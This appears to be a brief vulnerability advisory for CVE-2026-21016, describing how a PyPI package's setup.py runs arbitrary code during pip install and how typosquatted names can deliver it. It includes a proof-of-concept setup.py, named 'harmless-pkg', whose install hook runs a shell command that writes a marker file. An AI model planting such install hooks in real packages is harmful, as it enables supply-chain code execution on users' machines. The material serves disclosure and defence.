CVE-2026-21016 – Malicious PyPI Package Install Hook (setup.py Execution)

Program Code (Python)

# setup.py - Malicious package that executes during install
from setuptools import setup
import os

# This runs on pip install
os.system('id > /tmp/pwned_by_package')

setup(
    name='harmless-pkg',
    version='1.0',
    packages=[],
)

CVE-2026-21016 – Malicious PyPI Package Install Hook (setup.py)

Overview

A PyPI package can include arbitrary code in its setup.py, which is executed during pip install. An attacker can publish a package with a name similar to a popular one (typosquatting) and upon installation, the payload runs with the user’s privileges, leading to remote code execution.